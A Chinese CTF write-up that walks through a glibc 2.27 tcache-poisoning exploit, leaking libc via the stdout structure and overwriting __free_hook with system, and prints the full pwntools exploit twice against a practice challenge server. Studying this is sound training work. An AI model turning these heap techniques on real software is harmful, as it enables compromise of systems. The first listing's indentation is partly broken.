tcache poisoning(爆破stout获得libc并且熟练使用了realloc)
这道题目帮助我学习了realloc这个函数,是一道十分经典的题目,我会尽量的把exp的每一步都说清楚
例行检查我就不放了
讲程序放入ida中

比较简单的流程,没有show功能,所有我们需要通过爆破stdout这个函数来获得libc
我先放上我学习的俩位师傅的博客
好好说话之Tcache Attack(1):tcache基础与tcache poisoning_hollk’s blog-CSDN博客 这个博客重点看tcache poisoning部分
然后我先放上realloc的四种不同的用法
realloc的几个特殊用法(摘自官方WP)
size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
然后我将完整的exp放在下面进行一步步的分析
------------------------------------------------------------------------------------------------------------------EXP-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
from pwn import *
#p = process('./pwn1')
elf  = ELF('./pwn1')
libc = ELF('./libc-2.27.so')
def launch_gdb():
      context.terminal = ['xfce4-terminal','-x','sh','-c']
      gdb.attach(proc.pidof(p)[0])
def add(size,content):
      p.sendlineafter('>> ','1')
      p.sendlineafter('Size?\n',str(size))
      p.sendafter('Content?\n',content)
def free():
      p.sendlineafter('>>','2')
def ba():
      p.sendlineafter('>>','66i6')
    
def pwn():
    
      add(0x70,'a')
      add(0,'')
      add(0x100,'a')
      add(0,'')
      add(0xa0,'a')
      add(0,'')    #这里我们申请了四个不同大小的chunk 然后将它们释放掉
add(0x100,'b') #然后将chunk2申请回来
      [free() for i in range(7)]   #通过for循环填满tcache的7个chunk块
      add(0,'')         #将申请回来的chunk2释放掉,注意释放掉的chunk将放入unsortedbin里面 (这里会出现mare的地址)
      add(0x70,'a')       #我们将chunk1申请回来
      add(0x180,b'c'*0x78+p64(0x41)+b'\x60\x87')  #我们申请了一个0x180大小的chunk,刚好是chunk1和chunk2加起来的大小,相当于edit将泄露出的地址后面覆盖为了6087去爆破_IO_2_1_stdout的位置
      add(0,'')                  #我们将chunk释放掉(会进入unsortedbin的链表里面)
      add(0x100,'a')                #我们将chunk2申请回来,注意这个chunk是从tcache里面申请的,fd已经是stdout的位置了
      add(0,'')                  #我们将chunk2释放掉,但是因为这个chunk的大小我们已经改成了0x41大小了,所以这个chunk会放在新的tcache的队列里面,所以0x110的队列就留下了fd的指针,又因为fd指向的是stdout的地址所以我们在申请一个chunk就能申请到相应的地址上面了
add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58)) #在这里我们申请到了stdout的位置 下面获得libc
libc_base = u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0 #0x3e82a0这个值是减去vmmap的里面相应的值
      if libc_base == -0x3e82a0: if判断形成自动化
            exit(-1)
      print('libc_base:'+hex(libc_base))
      free_hook = libc_base + libc.sym['__free_hook']
      onegadget = libc_base + 0xf4322
      system = libc_base + libc.sym['system']
      p.sendline('666')
      add(0x120,'a')
      add(0,'')
      add(0x130,'a')
      add(0,'')
      add(0x170,'a')
      add(0,'')
    
      add(0x130,'a')     和上面泄露libc的同理由
      [free() for i in range(7)]
      add(0,'')
      add(0x120,'a')
      add(0x260,b'a'*0x128+p64(0x41)+p64(free_hook-8))
      add(0,'')
      add(0x130,'a')
      add(0,'')
      add(0x130,b'/bin/sh\x00'+p64(system))
      free()
      p.interactive()
if __name__ == "__main__":
      while True:
        #p = process('./pwn1')
            p = remote('node4.buuoj.cn',28076)
            try:
                  pwn()
            except:
                  p.close()
------------------------------------------------------------------------------------------------------------------------------------------------------------结束-------------------------------------------------------------------------------------------------------------------------------------------------------
这道题是一个非常好的题目,希望可以多多复习一下,能认真的去理解和调试一下
完整exp
from pwn import * #p = process('./pwn1') elf = ELF('./pwn1') libc = ELF('./libc-2.27.so') def launch_gdb(): context.terminal = ['xfce4-terminal','-x','sh','-c'] gdb.attach(proc.pidof(p)[0]) def add(size,content): p.sendlineafter('>> ','1') p.sendlineafter('Size?\n',str(size)) p.sendafter('Content?\n',content) def free(): p.sendlineafter('>>','2') def ba(): p.sendlineafter('>>','66i6') def pwn(): add(0x70,'a') add(0,'') add(0x100,'a') add(0,'') add(0xa0,'a') add(0,'') add(0x100,'b') [free() for i in range(7)] add(0,'') add(0x70,'a') add(0x180,b'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87)) add(0,'') add(0x100,'a') add(0,'') add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58)) libc_base = u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0 if libc_base == -0x3e82a0: exit(-1) print('libc_base:'+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] onegadget = libc_base + 0xf4322 system = libc_base + libc.sym['system'] p.sendline('666') add(0x120,'a') add(0,'') add(0x130,'a') add(0,'') add(0x170,'a') add(0,'') add(0x130,'a') [free() for i in range(7)] add(0,'') add(0x120,'a') add(0x260,b'a'*0x128+p64(0x41)+p64(free_hook-8)) add(0,'') add(0x130,'a') add(0,'') add(0x130,b'/bin/sh\x00'+p64(system)) free() p.interactive() if __name__ == "__main__": while True: #p = process('./pwn1') p = remote('node4.buuoj.cn',28076) try: pwn() except: p.close()
结束

 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号